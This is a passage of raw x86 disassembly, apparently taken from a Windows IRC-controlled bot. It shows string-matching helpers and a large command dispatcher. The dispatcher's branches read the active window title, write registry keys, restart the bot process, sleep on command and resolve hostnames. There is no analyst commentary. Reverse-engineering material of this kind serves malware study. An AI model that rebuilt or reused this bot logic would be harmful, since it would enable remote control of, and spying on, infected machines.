[eax], 2Ah jnz short loc_4071EA lea edi, [eax+1] loc_4071D6: ; CODE XREF: sub_407187+61j push edi push esi call sub_407187 pop ecx test al, al pop ecx jnz short loc_4071CA cmp [esi], al jz short loc_4071EA inc esi jmp short loc_4071D6 ; --------------------------------------------------------------------------- loc_4071EA: ; CODE XREF: sub_407187+19j ; sub_407187+20j ... xor al, al loc_4071EC: ; CODE XREF: sub_407187+45j pop edi pop esi retn sub_407187 endp ; =============== S U B R O U T I N E ======================================= sub_4071EF proc near ; CODE XREF: sub_40678D+A5p ; sub_406868+D0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi mov esi, [esp+8+arg_0] push edi loc_4071FA: ; CODE XREF: sub_4071EF+1Dj ; sub_4071EF+61j mov cl, [esi] test cl, cl jnz short loc_40720E mov cl, [eax] test cl, cl jz short loc_407252 cmp cl, 2Ah jnz short loc_407272 inc eax jmp short loc_4071FA ; --------------------------------------------------------------------------- loc_40720E: ; CODE XREF: sub_4071EF+Fj mov dl, [eax] test dl, dl jz short loc_407272 cmp cl, dl jz short loc_40724E cmp cl, 41h jl short loc_407222 cmp cl, 5Ah jle short loc_40722C loc_407222: ; CODE XREF: sub_4071EF+2Cj cmp cl, 61h jl short loc_407235 cmp cl, 7Ah jg short loc_407235 loc_40722C: ; CODE XREF: sub_4071EF+31j mov bl, cl xor bl, 20h cmp bl, dl jz short loc_40724E loc_407235: ; CODE XREF: sub_4071EF+36j ; sub_4071EF+3Bj cmp dl, 3Fh jz short loc_40724E cmp dl, 23h jnz short loc_407256 cmp cl, 30h jl short loc_407249 cmp cl, 39h jle short loc_40724E loc_407249: ; CODE XREF: sub_4071EF+53j cmp cl, 23h jnz short loc_407272 loc_40724E: ; CODE XREF: sub_4071EF+27j ; sub_4071EF+44j ... inc eax inc esi jmp short loc_4071FA ; --------------------------------------------------------------------------- loc_407252: ; CODE XREF: sub_4071EF+15j ; sub_4071EF+7Aj mov al, 1 jmp short loc_407274 ; --------------------------------------------------------------------------- loc_407256: ; CODE XREF: sub_4071EF+4Ej cmp byte ptr [eax], 2Ah jnz short loc_407272 lea edi, [eax+1] loc_40725E: ; CODE XREF: sub_4071EF+81j push edi push esi call sub_4071EF pop ecx test al, al pop ecx jnz short loc_407252 cmp [esi], al jz short loc_407272 inc esi jmp short loc_40725E ; --------------------------------------------------------------------------- loc_407272: ; CODE XREF: sub_4071EF+1Aj ; sub_4071EF+23j ... xor al, al loc_407274: ; CODE XREF: sub_4071EF+65j pop edi pop esi pop ebx retn sub_4071EF endp ; =============== S U B R O U T I N E ======================================= sub_407278 proc near ; CODE XREF: sub_407290+A4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push 1 test ecx, ecx pop eax jz short locret_40728F cmp ecx, eax jl short locret_40728F loc_407287: ; CODE XREF: sub_407278+15j imul eax, [esp+arg_0] dec ecx jnz short loc_407287 locret_40728F: ; CODE XREF: sub_407278+9j ; sub_407278+Dj retn sub_407278 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407290 proc near ; CODE XREF: sub_404240+27p ; sub_40735A+C7Dp ... var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov esi, offset aAbcdef ; "abcdef" lea edi, [ebp+var_18] xor ebx, ebx movsd movsw movsb mov esi, [ebp+arg_0] mov [ebp+var_4], ebx mov [ebp+var_8], ebx cmp byte ptr [esi], 30h jnz short loc_4072C6 mov al, [esi+1] push 1 cmp al, 78h pop ebx jz short loc_4072C3 cmp al, 58h jnz short loc_4072C6 loc_4072C3: ; CODE XREF: sub_407290+2Dj push 2 pop ebx loc_4072C6: ; CODE XREF: sub_407290+23j ; sub_407290+31j push esi call sub_410826 ; strlen mov edi, eax pop ecx cmp ebx, edi mov [ebp+var_10], edi mov [ebp+arg_0], ebx jge short loc_40734E sub edi, ebx dec edi loc_4072DC: ; CODE XREF: sub_407290+BCj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+esi] push eax call sub_410AF4 ; tolower cmp eax, 30h pop ecx mov [ebp+var_C], eax jl short loc_4072FF cmp eax, 39h jg short loc_4072FF add eax, 0FFFFFFD0h mov [ebp+var_4], eax jmp short loc_407331 ; --------------------------------------------------------------------------- loc_4072FF: ; CODE XREF: sub_407290+60j ; sub_407290+65j cmp eax, 61h jl short loc_407356 cmp eax, 66h jg short loc_407356 mov dl, [ebp+var_18] test dl, dl jz short loc_407331 push 0Ah lea eax, [ebp+var_18] pop ebx lea ecx, [ebp+var_18] sub ebx, eax loc_40731B: ; CODE XREF: sub_407290+9Fj movsx eax, dl cmp [ebp+var_C], eax jnz short loc_407329 lea eax, [ebx+ecx] mov [ebp+var_4], eax loc_407329: ; CODE XREF: sub_407290+91j mov dl, [ecx+1] inc ecx test dl, dl jnz short loc_40731B loc_407331: ; CODE XREF: sub_407290+6Dj ; sub_407290+7Ej push edi push 10h call sub_407278 imul eax, [ebp+var_4] add [ebp+var_8], eax inc [ebp+arg_0] mov eax, [ebp+arg_0] pop ecx dec edi cmp eax, [ebp+var_10] pop ecx jl short loc_4072DC loc_40734E: ; CODE XREF: sub_407290+47j mov eax, [ebp+var_8] loc_407351: ; CODE XREF: sub_407290+C8j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_407356: ; CODE XREF: sub_407290+72j ; sub_407290+77j xor eax, eax jmp short loc_407351 sub_407290 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40735A proc near ; CODE XREF: sub_408F9D+911p var_59AC = byte ptr -59ACh var_19AC = byte ptr -19ACh var_9AC = byte ptr -9ACh var_5A8 = byte ptr -5A8h var_528 = byte ptr -528h var_3A8 = byte ptr -3A8h var_384 = byte ptr -384h var_363 = byte ptr -363h var_360 = byte ptr -360h var_2E4 = byte ptr -2E4h var_1E0 = byte ptr -1E0h var_1BC = byte ptr -1BCh var_19B = byte ptr -19Bh var_9B = dword ptr -9Bh var_97 = byte ptr -97h var_31 = byte ptr -31h var_23 = byte ptr -23h var_20 = byte ptr -20h var_1D = dword ptr -1Dh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, 59ACh call sub_4108B0 push ebx push esi mov esi, [ebp+arg_14] push edi push dword ptr [esi] call sub_409CCF push [ebp+arg_0] mov edi, eax lea eax, [ebp+var_1BC] push eax call sub_410820 ; _mbscpy push [ebp+arg_8] lea eax, [ebp+var_19B] push eax call sub_410820 ; _mbscpy mov eax, [ebp+arg_C] push 7Ah push [ebp+arg_10] mov [ebp+var_9B], eax lea eax, [ebp+var_97] push eax call sub_410838 ; memcpy add esp, 20h cmp edi, dword_413DBC push 1 pop eax mov [ebp+var_1D], eax jnz short loc_4073D0 lea eax, [ebp+var_1BC] push eax call sub_40FCB2 jmp loc_4083ED ; --------------------------------------------------------------------------- loc_4073D0: ; CODE XREF: sub_40735A+63j cmp edi, dword_413DB0 jnz short loc_40741E mov eax, [esi+4] test eax, eax jnz short loc_407412 lea eax, [ebp+var_3A8] push eax lea eax, [ebp+var_384] push eax lea eax, [ebp+var_1E0] push eax call sub_404354 add esp, 0Ch lea eax, [ebp+var_1E0] push eax loc_407403: ; CODE XREF: sub_40735A+C2j push offset dword_413DA8 loc_407408: ; CODE XREF: sub_40735A+81Cj ; sub_40735A+94Cj call sub_408E60 jmp loc_4083B3 ; --------------------------------------------------------------------------- loc_407412: ; CODE XREF: sub_40735A+83j push eax call sub_408F4C pop ecx push dword ptr [esi+4] jmp short loc_407403 ; --------------------------------------------------------------------------- loc_40741E: ; CODE XREF: sub_40735A+7Cj cmp edi, dword_413D9C jnz short loc_407458 lea eax, [ebp+var_5A8] push 200h push eax call ds:dword_4111F4 ; GetForegroundWindow push eax call ds:dword_4111F0 ; GetWindowTextA test eax, eax jle loc_4083EE lea eax, [ebp+var_5A8] push eax push offset dword_413D80 jmp loc_4079E3 ; --------------------------------------------------------------------------- loc_407458: ; CODE XREF: sub_40735A+CAj cmp edi, dword_413D74 jnz short loc_407477 push dword ptr [esi+8] lea eax, [ebp+var_1BC] push dword ptr [esi+4] push eax call sub_4050D1 jmp loc_4079EF ; --------------------------------------------------------------------------- loc_407477: ; CODE XREF: sub_40735A+104j cmp edi, dword_413D68 jnz loc_40754B mov eax, [ebp+arg_18] xor ebx, ebx mov eax, [eax+4] cmp eax, ebx jz loc_4083EE push 180h push eax lea eax, [ebp+var_360] push eax call sub_4052A6 lea eax, [ebp+var_360] push eax call sub_410826 ; strlen mov esi, eax add esp, 10h cmp esi, 3 jle short loc_4074F1 lea edi, [ebp+esi+var_363] push offset dword_413D64 push edi call sub_410AEE ; strcmp pop ecx test eax, eax pop ecx jnz short loc_4074F1 lea eax, [ebp+var_360] mov [edi], bl push eax call sub_40519C lea eax, [ebp+var_360] push eax call sub_410826 ; strlen pop ecx mov esi, eax pop ecx loc_4074F1: ; CODE XREF: sub_40735A+15Fj ; sub_40735A+177j mov eax, esi push 4 cdq pop ecx idiv ecx mov ecx, esi sub ecx, eax cmp ecx, 180h ja loc_4083EE lea eax, [ebp+var_360] push esi push eax call sub_409E1D lea eax, [ebp+var_360] push esi push eax call sub_409E49 push eax lea eax, [ebp+var_528] push eax lea eax, [ebp+var_360] push eax call sub_409B9F add esp, 1Ch lea eax, [ebp+var_528] push eax push offset dword_413D40 jmp loc_4079E3 ; --------------------------------------------------------------------------- loc_40754B: ; CODE XREF: sub_40735A+123j cmp edi, dword_413D34 jnz loc_4075E9 mov esi, [ebp+arg_18] xor ebx, ebx mov eax, [esi+4] cmp eax, ebx jz loc_4083EE cmp byte ptr [eax], 3Dh jnz loc_4083EE inc eax push eax call sub_409C55 test eax, eax pop ecx jz loc_4083EE mov eax, [esi+4] inc eax push eax call sub_410826 ; strlen pop ecx mov ecx, eax push 4 cdq pop edi idiv edi sub ecx, eax cmp ecx, 180h ja loc_4083EE lea eax, [ebp+var_360] push eax mov eax, [esi+4] inc eax push eax call sub_409AD3 push eax lea eax, [ebp+var_360] push eax call sub_409EB3 mov esi, eax lea eax, [ebp+var_360] push esi push eax call sub_409E33 add esp, 18h lea eax, [ebp+var_360] mov [ebp+esi+var_360], bl push eax push offset dword_413D14 jmp loc_4079E3 ; --------------------------------------------------------------------------- loc_4075E9: ; CODE XREF: sub_40735A+1F7j cmp edi, dword_413D04 jnz short loc_407605 push dword ptr [esi+4] lea eax, [ebp+var_1BC] push eax call sub_404317 jmp loc_4083B3 ; --------------------------------------------------------------------------- loc_407605: ; CODE XREF: sub_40735A+295j cmp edi, dword_413CF4 jnz short loc_40761E lea eax, [ebp+var_1BC] push eax call sub_404202 jmp loc_4083ED ; --------------------------------------------------------------------------- loc_40761E: ; CODE XREF: sub_40735A+2B1j cmp edi, dword_413CE4 jnz short loc_40766E xor ebx, ebx mov [ebp+var_20], 1 cmp [ebp+var_31], bl jz short loc_407642 lea eax, [ebp+var_1BC] push eax call sub_40D1B3 jmp loc_4083ED ; --------------------------------------------------------------------------- loc_407642: ; CODE XREF: sub_40735A+2D5j cmp [ebp+var_23], bl lea eax, [ebp+var_1BC] push eax jz short loc_407658 call sub_40D5AA jmp loc_4083ED ; --------------------------------------------------------------------------- loc_407658: ; CODE XREF: sub_40735A+2F2j call sub_40D1B3 lea eax, [ebp+var_1BC] push eax call sub_40D5AA jmp loc_4083B3 ; --------------------------------------------------------------------------- loc_40766E: ; CODE XREF: sub_40735A+2CAj cmp edi, dword_413CD4 jnz short loc_407687 lea eax, [ebp+var_1BC] push eax call sub_40F515 jmp loc_4083ED ; --------------------------------------------------------------------------- loc_407687: ; CODE XREF: sub_40735A+31Aj cmp edi, dword_413CC8 jnz short loc_4076AB mov eax, [ebp+arg_18] add esi, 4 add eax, 4 push eax lea eax, [ebp+var_1BC] push esi push eax call sub_410542 jmp loc_4079EF ; --------------------------------------------------------------------------- loc_4076AB: ; CODE XREF: sub_40735A+333j cmp edi, dword_413CBC jz loc_4083E2 cmp edi, dword_413CB0 jz loc_4083E2 cmp edi, dword_413CA0 jnz short loc_4076E2 push dword ptr [esi+8] lea eax, [ebp+var_1BC] push dword ptr [esi+4] push eax call sub_4027CB jmp loc_4079EF ; --------------------------------------------------------------------------- loc_4076E2: ; CODE XREF: sub_40735A+36Fj cmp edi, dword_413C94 jnz short loc_407704 mov eax, [ebp+arg_18] push dword ptr [eax+8] lea eax, [ebp+var_1BC] push dword ptr [esi+4] push eax call sub_401FA3 jmp loc_4079EF ; --------------------------------------------------------------------------- loc_407704: ; CODE XREF: sub_40735A+38Ej cmp edi, dword_413C84 jnz short loc_407726 push dword ptr [esi+0Ch] lea eax, [ebp+var_1BC] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_404240 jmp loc_408121 ; --------------------------------------------------------------------------- loc_407726: ; CODE XREF: sub_40735A+3B0j cmp edi, dword_413C74 jnz short loc_407748 mov eax, [ebp+arg_18] push dword ptr [eax+8] lea eax, [ebp+var_1BC] push dword ptr [esi+4] push eax call sub_41041B jmp loc_4079EF ; --------------------------------------------------------------------------- loc_407748: ; CODE XREF: sub_40735A+3D2j cmp edi, dword_413C64 jnz short loc_40777B mov esi, [ebp+arg_18] mov eax, [esi+4] test eax, eax jz loc_4083EE push eax push 80000001h call sub_401000 push dword ptr [esi+4] push 80000002h call sub_401000 jmp loc_408121 ; --------------------------------------------------------------------------- loc_40777B: ; CODE XREF: sub_40735A+3F4j cmp edi, dword_413C54 jnz short loc_407793 mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40110A jmp loc_4083ED ; --------------------------------------------------------------------------- loc_407793: ; CODE XREF: sub_40735A+427j cmp edi, dword_413C48 jnz short loc_4077B4 push 0 loc_40779D: ; CODE XREF: sub_40735A+463j mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1BC] push eax call sub_4014B0 jmp loc_4079EF ; --------------------------------------------------------------------------- loc_4077B4: ; CODE XREF: sub_40735A+43Fj cmp edi, dword_413C3C jnz short loc_4077BF push eax jmp short loc_40779D ; --------------------------------------------------------------------------- loc_4077BF: ; CODE XREF: sub_40735A+460j cmp edi, dword_413C30 jnz short loc_4077D8 lea eax, [ebp+var_1BC] push eax call sub_406A80 jmp loc_4083ED ; --------------------------------------------------------------------------- loc_4077D8: ; CODE XREF: sub_40735A+46Bj cmp edi, dword_413C28 jnz short loc_4077EF push offset dword_418C78 push offset dword_413C18 jmp loc_4079E3 ; --------------------------------------------------------------------------- loc_4077EF: ; CODE XREF: sub_40735A+484j cmp edi, dword_413C0C jnz short loc_40780E mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1BC] push eax call sub_40EA34 jmp loc_4083B3 ; --------------------------------------------------------------------------- loc_40780E: ; CODE XREF: sub_40735A+49Bj cmp edi, dword_413C00 jz loc_4083C2 cmp edi, dword_413BF4 jz loc_4083C2 cmp edi, dword_413BE8 jz loc_4083C2 cmp edi, dword_413BD8 jnz short loc_40784B lea eax, [ebp+var_1BC] push eax call sub_40EB64 jmp loc_4083ED ; --------------------------------------------------------------------------- loc_40784B: ; CODE XREF: sub_40735A+4DEj cmp edi, dword_413BC4 jnz short loc_407897 mov esi, [ebp+arg_18] mov eax, [esi+4] test eax, eax jz short loc_407883 push eax call sub_4104C3 test eax, eax pop ecx jz loc_4083EE push 104h push dword ptr [esi+4] push offset dword_418970 call sub_4052A6 jmp loc_4079EF ; --------------------------------------------------------------------------- loc_407883: ; CODE XREF: sub_40735A+501j push offset dword_41885C push offset dword_418970 loc_40788D: ; CODE XREF: sub_40735A+6A3j ; sub_40735A+ECBj call sub_410820 ; _mbscpy jmp loc_4083B3 ; --------------------------------------------------------------------------- loc_407897: ; CODE XREF: sub_40735A+4F7j cmp edi, dword_413BB4 jnz short loc_4078C2 push dword ptr [esi+14h] lea eax, [ebp+var_1BC] push dword ptr [esi+10h] push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_40EF0E loc_4078BA: ; CODE XREF: sub_40735A+1083j add esp, 18h jmp loc_4083EE ; --------------------------------------------------------------------------- loc_4078C2: ; CODE XREF: sub_40735A+543j cmp edi, dword_413BAC jnz loc_40796F mov esi, [ebp+arg_18] xor ebx, ebx mov eax, [esi+4] cmp eax, ebx jz loc_4083EE push eax call sub_410826 ; strlen shl eax, 1 push eax call sub_41082C ; malloc mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_4083EE push dword ptr [esi+4] call sub_410826 ; strlen push eax push edi push dword ptr [esi+4] call sub_409B9F add esp, 10h lea eax, [ebp+var_1BC] push edi push offset dword_413B90 push eax call sub_408D50 push edi call sub_410832 ; free mov esi, 1000h lea eax, [ebp+var_19AC] push esi push eax call sub_40AB46 add esp, 18h call sub_41084A ; clock mov ebx, eax mov edi, 186A0h loc_407946: ; CODE XREF: sub_40735A+604j lea eax, [ebp+var_59AC] push esi push eax lea eax, [ebp+var_19AC] push eax call sub_409B9F add esp, 0Ch dec edi jnz short loc_407946 call sub_41084A ; clock sub eax, ebx push eax push offset aItTookMeUms_ ; "It took me %ums." jmp short loc_4079E3 ; --------------------------------------------------------------------------- loc_40796F: ; CODE XREF: sub_40735A+56Ej cmp edi, dword_413B70 jnz short loc_4079CA mov edi, [ebp+arg_18] xor ebx, ebx mov eax, [edi+4] cmp eax, ebx jz loc_4083EE push eax call sub_410826 ; strlen push eax call sub_41082C ; malloc mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_4083EE push esi push dword ptr [edi+4] call sub_409AD3 pop ecx mov [eax+esi], bl pop ecx lea eax, [ebp+var_1BC] push esi push offset dword_413B54 push eax call sub_408D50 push esi call sub_410832 ; free jmp loc_408121 ; --------------------------------------------------------------------------- loc_4079CA: ; CODE XREF: sub_40735A+61Bj cmp edi, dword_413B44 jnz short loc_407A02 mov esi, [esi+4] test esi, esi jnz short loc_4079F7 push offset dword_418C78 push offset dword_413B30 loc_4079E3: ; CODE XREF: sub_40735A+F9j ; sub_40735A+1ECj ... lea eax, [ebp+var_1BC] push eax call sub_408D50 loc_4079EF: ; CODE XREF: sub_40735A+118j ; sub_40735A+34Cj ... add esp, 0Ch jmp loc_4083EE ; --------------------------------------------------------------------------- loc_4079F7: ; CODE XREF: sub_40735A+67Dj push esi push offset dword_418C78 jmp loc_40788D ; --------------------------------------------------------------------------- loc_407A02: ; CODE XREF: sub_40735A+676j cmp edi, dword_413B24 jnz short loc_407A17 push dword ptr [esi+4] call sub_40678D jmp loc_4083ED ; --------------------------------------------------------------------------- loc_407A17: ; CODE XREF: sub_40735A+6AEj cmp edi, dword_413B18 jnz short loc_407A33 push dword ptr [esi+4] lea eax, [ebp+var_1BC] push eax call sub_4030A7 jmp loc_4083B3 ; --------------------------------------------------------------------------- loc_407A33: ; CODE XREF: sub_40735A+6C3j cmp edi, dword_413B08 jnz short loc_407A48 push dword ptr [esi+4] call sub_406868 jmp loc_4083ED ; --------------------------------------------------------------------------- loc_407A48: ; CODE XREF: sub_40735A+6DFj cmp edi, dword_413AFC jnz short loc_407A67 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1BC] push eax call sub_4043B3 jmp loc_4083B3 ; --------------------------------------------------------------------------- loc_407A67: ; CODE XREF: sub_40735A+6F4j cmp edi, dword_413AEC jnz short loc_407A83 push dword ptr [esi+4] lea eax, [ebp+var_1BC] push eax call sub_40DD96 jmp loc_4083B3 ; --------------------------------------------------------------------------- loc_407A83: ; CODE XREF: sub_40735A+713j cmp edi, dword_413AE0 jnz short loc_407AA8 push dword ptr [esi+10h] lea eax, [ebp+var_1BC] push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_406E50 jmp loc_40837F ; --------------------------------------------------------------------------- loc_407AA8: ; CODE XREF: sub_40735A+72Fj cmp edi, dword_413AD4 jnz short loc_407AC7 push dword ptr [esi+8] lea eax, [ebp+var_1BC] push dword ptr [esi+4] push eax call sub_4070F0 jmp loc_4079EF ; --------------------------------------------------------------------------- loc_407AC7: ; CODE XREF: sub_40735A+754j cmp edi, dword_413AC8 jnz short loc_407AEA push offset dword_41885C push offset aQuitSRemoved_ ; "QUIT :%s removed." call sub_408E60 pop ecx pop ecx push 36EE80h jmp loc_407BA1 ; --------------------------------------------------------------------------- loc_407AEA: ; CODE XREF: sub_40735A+773j cmp edi, dword_413AA8 jnz short loc_407B38 mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz loc_4083EE mov edi, offset dword_4177EC push eax push edi call sub_410820 ; _mbscpy mov esi, [esi+8] pop ecx cmp esi, ebx pop ecx jnz short loc_407B19 mov esi, offset byte_417B60 loc_407B19: ; CODE XREF: sub_40735A+7B8j push esi mov esi, offset dword_418A78 push esi call sub_410820 ; _mbscpy pop ecx pop ecx push esi push edi loc_407B29: ; CODE XREF: sub_40735A+801j push offset dword_413A9C call sub_408E60 jmp loc_4079EF ; --------------------------------------------------------------------------- loc_407B38: ; CODE XREF: sub_40735A+796j cmp edi, dword_413A90 jnz short loc_407B5D mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz loc_4083EE mov esi, [esi+8] cmp esi, ebx jnz short loc_407B59 mov esi, offset byte_417B60 loc_407B59: ; CODE XREF: sub_40735A+7F8j push esi push eax jmp short loc_407B29 ; --------------------------------------------------------------------------- loc_407B5D: ; CODE XREF: sub_40735A+7E4j cmp edi, dword_413A84 jnz short loc_407B7B mov esi, [esi+4] test esi, esi jz loc_4083EE push esi push offset dword_413A7C jmp loc_407408 ; --------------------------------------------------------------------------- loc_407B7B: ; CODE XREF: sub_40735A+809j cmp edi, dword_413A70 jnz short loc_407BAC mov esi, [esi+4] test esi, esi jz loc_4083EE push esi call sub_41088C ; atoi cmp eax, 927C0h pop ecx jg loc_4083EE push eax loc_407BA1: ; CODE XREF: sub_40735A+78Bj call ds:dword_4110A4 ; Sleep jmp loc_4083EE ; --------------------------------------------------------------------------- loc_407BAC: ; CODE XREF: sub_40735A+827j cmp edi, dword_413A68 jnz short loc_407BDB mov esi, [esi+4] xor ebx, ebx cmp esi, ebx jz loc_4083EE mov eax, [ebp+arg_18] mov eax, [eax+8] cmp eax, ebx jz loc_4083EE push eax push esi call sub_408CDE jmp loc_4083B3 ; --------------------------------------------------------------------------- loc_407BDB: ; CODE XREF: sub_40735A+858j cmp edi, dword_413A5C jnz short loc_407C0A mov esi, [esi+4] xor ebx, ebx cmp esi, ebx jz loc_4083EE mov eax, [ebp+arg_18] mov eax, [eax+8] cmp eax, ebx jz loc_4083EE push eax push esi call sub_408C6C jmp loc_4083B3 ; --------------------------------------------------------------------------- loc_407C0A: ; CODE XREF: sub_40735A+887j cmp edi, dword_413A54 jnz short loc_407C26 mov eax, [ebp+arg_18] mov eax, [eax+4] test eax, eax jz loc_4083EE push eax jmp loc_4083BB ; --------------------------------------------------------------------------- loc_407C26: ; CODE XREF: sub_40735A+8B6j cmp edi, dword_413A48 jnz short loc_407C70 mov esi, [esi+4] xor ebx, ebx cmp esi, ebx jnz short loc_407C54 cmp dword_417B68, ebx mov eax, offset aOn ; "on" jnz short loc_407C49 mov eax, offset aOff ; "off" loc_407C49: ; CODE XREF: sub_40735A+8E8j push eax push offset aDebugModeIsS_ ; "Debug mode is %s." jmp loc_4079E3 ; --------------------------------------------------------------------------- loc_407C54: ; CODE XREF: sub_40735A+8DBj push offset aOn ; "on" push esi call sub_410C94 ; _strcmpi neg eax sbb eax, eax pop ecx inc eax pop ecx mov dword_417B68, eax jmp loc_4083EE ; --------------------------------------------------------------------------- loc_407C70: ; CODE XREF: sub_40735A+8D2j cmp edi, dword_413A1C jnz short loc_407C89 lea eax, [ebp+var_1BC] push eax call sub_40FEA2 jmp loc_4083ED ; --------------------------------------------------------------------------- loc_407C89: ; CODE XREF: sub_40735A+91Cj cmp edi, dword_413A10 jnz short loc_407CAB cmp dword ptr [esi+4], 0 jz loc_4083EE mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_413A08 jmp loc_407408 ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_40735A+935j cmp edi, dword_4139FC jz loc_4083B6 cmp edi, dword_4139F0 jz loc_4083B6 cmp edi, dword_4139E8 jz loc_4083B6 cmp edi, dword_4139DC jnz short loc_407D24 lea eax, [ebp+var_2E4] push 104h xor ebx, ebx push eax push ebx call ds:dword_411094 ; GetModuleHandleA push eax call ds:dword_411098 ; GetModuleFileNameA push ebx push ebx lea eax, [ebp+var_2E4] push ebx push eax push offset aOpen ; "open" push ebx call ds:dword_4111E4 cmp eax, 20h jbe loc_4083EE push offset aQuitRestarting ; "QUIT :restarting" call sub_408E60 pop ecx push ebx call ds:dword_411064 ; ExitProcess loc_407D24: ; CODE XREF: sub_40735A+97Bj cmp edi, dword_4139D0 jnz short loc_407D52 mov esi, [esi+4] test esi, esi jz loc_4083EE movzx eax, byte ptr [esi] push eax push eax push offset dword_4139A0 loc_407D41: ; CODE XREF: sub_40735A+BD3j lea eax, [ebp+var_1BC] push eax call sub_408D50 jmp loc_408121 ; --------------------------------------------------------------------------- loc_407D52: ; CODE XREF: sub_40735A+9D0j cmp edi, dword_413990 jnz short loc_407D64 call sub_404BC3 jmp loc_4083EE ; --------------------------------------------------------------------------- loc_407D64: ; CODE XREF: sub_40735A+9FEj cmp edi, dword_413988 jz loc_4083A1 cmp edi, dword_41397C jz loc_4083A1 cmp edi, dword_413974 jnz short loc_407D9B mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1BC] push eax call sub_4087CE jmp loc_4083B3 ; --------------------------------------------------------------------------- loc_407D9B: ; CODE XREF: sub_40735A+A28j cmp edi, dword_413968 jz loc_408384 cmp edi, dword_413958 jz loc_408384 cmp edi, dword_413950 jnz loc_407EBF xor ebx, ebx cmp [esi+4], ebx jnz short loc_407DCD mov dword ptr [esi+4], offset byte_417B60 loc_407DCD: ; CODE XREF: sub_40735A+A6Aj lea eax, [ebp+arg_14] push eax push ebx push ebx push dword ptr [esi+4] call dword_417BB4 ; getaddrinfo test eax, eax jnz loc_407F38 mov eax, [ebp+arg_14] cmp eax, ebx mov [ebp+arg_18], eax jz loc_407EB1 mov edi, 3E8h loc_407DF7: ; CODE XREF: sub_40735A+B51j push 2 push ebx push ebx lea eax, [ebp+var_9AC] push 401h push eax mov eax, [ebp+arg_18] push dword ptr [eax+10h] push dword ptr [eax+18h] call dword_417BB8 ; getnameinfo test eax, eax jnz loc_407EA0 mov eax, [ebp+arg_18] mov ecx, [eax+4] cmp ecx, 2 jnz short loc_407E53 mov eax, [esi+4] cmp [eax], bl jnz short loc_407E35 mov eax, offset dword_41394C loc_407E35: ; CODE XREF: sub_40735A+AD4j lea ecx, [ebp+var_9AC] push ecx push eax push offset dword_413928 loc_407E42: ; CODE XREF: sub_40735A+B17j lea eax, [ebp+var_1BC] push eax call sub_408D50 add esp, 10h jmp short loc_407E99 ; --------------------------------------------------------------------------- loc_407E53: ; CODE XREF: sub_40735A+ACDj mov eax, [esi+4] cmp ecx, 17h jnz short loc_407E73 cmp [eax], bl jnz short loc_407E64 mov eax, offset dword_41394C loc_407E64: ; CODE XREF: sub_40735A+B03j lea ecx, [ebp+var_9AC] push ecx push eax push offset byte_413904 jmp short loc_407E42 ; --------------------------------------------------------------------------- loc_407E73: ; CODE XREF: sub_40735A+AFFj cmp [eax], bl jnz short loc_407E7C mov eax, offset dword_41394C loc_407E7C: ; CODE XREF: sub_40735A+B1Bj lea edx, [ebp+var_9AC] push edx push ecx push eax lea eax, [ebp+var_1BC] push offset dword_4138D0 push eax call sub_408D50 add esp, 14h loc_407E99: ; CODE XREF: sub_40735A+AF7j push edi call ds:dword_4110A4 ; Sleep loc_407EA0: ; CODE XREF: sub_40735A+ABEj mov eax, [ebp+arg_18] mov eax, [eax+1Ch] cmp eax, ebx mov [ebp+arg_18], eax jnz loc_407DF7 loc_407EB1: ; CODE XREF: sub_40735A+A92j push [ebp+arg_14] call dword_417BBC ; freeaddrinfo jmp loc_4083EE ; --------------------------------------------------------------------------- loc_407EBF: ; CODE XREF: sub_40735A+A5Fj cmp edi, dword_4138C4 jnz short loc_407F45 xor ebx, ebx cmp [esi+4], ebx jnz short loc_407ED5 mov dword ptr [esi+4], offset byte_417B60 loc_407ED5: ; CODE XREF: sub_40735A+B72j lea eax, [ebp+arg_18] push eax push ebx push ebx push dword ptr [esi+4] call dword_417BB4 ; getaddrinfo test eax, eax jnz short loc_407F38 push 4 push ebx push ebx lea eax, [ebp+var_9AC] push 401h push eax mov eax, [ebp+arg_18] push dword ptr [eax+10h] push dword ptr [eax+18h] call dword_417BB8 ; getnameinfo push [ebp+arg_18] test eax, eax jnz short loc_407F32 call dword_417BBC ; freeaddrinfo mov esi, [esi+4] cmp [esi], bl jnz short loc_407F20 mov esi, offset dword_41394C loc_407F20: ; CODE XREF: sub_40735A+BBFj lea eax, [ebp+var_9AC] push eax push esi push offset dword_4138A8 jmp loc_407D41 ; --------------------------------------------------------------------------- loc_407F32: ; CODE XREF: sub_40735A+BB2j call dword_417BBC ; freeaddrinfo loc_407F38: ; CODE XREF: 